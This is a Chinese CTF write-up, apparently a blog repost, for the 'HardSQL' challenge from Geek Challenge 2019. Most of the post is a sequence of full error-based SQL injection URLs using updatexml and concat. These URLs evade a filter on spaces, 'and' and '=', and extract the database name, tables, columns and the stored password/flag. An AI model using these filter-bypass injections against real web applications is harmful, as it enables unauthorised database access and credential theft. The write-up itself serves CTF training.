zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]HardSQL

    使用字典fuzz一下,发现过滤了空格,and,1=1,union,select,sleep,=等关键字
    但是没有过滤informaion_schema,updatexml等关键字,说明让我们使用报错注入,
    and被过滤可以使用or或者异或^代替,空格被过滤可以使用括号代替

    查询数据库
    http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

     查询表

    http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

     查询字段

    http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123

    查询数据

    http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123

     发现flag只有一半

     可以使用left(),right()来进行拼接操作

     http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

     http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,   (select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

     便可以获得flag

  • 相关阅读:
    单线程的JavaScript是如何实现异步的
    前端优化之 -- 使用 require.context 让项目实现路由自动导入
    插入排序
    选择排序
    冒泡排序
    强缓存和协商缓存
    ES6 Set求两个数组的并集、交集、差集;以及对数组去重
    实现一个new操作符
    我理解的浅拷贝和深拷贝
    javascript专题系列--js乱序
  • 原文地址:https://www.cnblogs.com/gtx690/p/13260510.html
Copyright © 2011-2022 走看看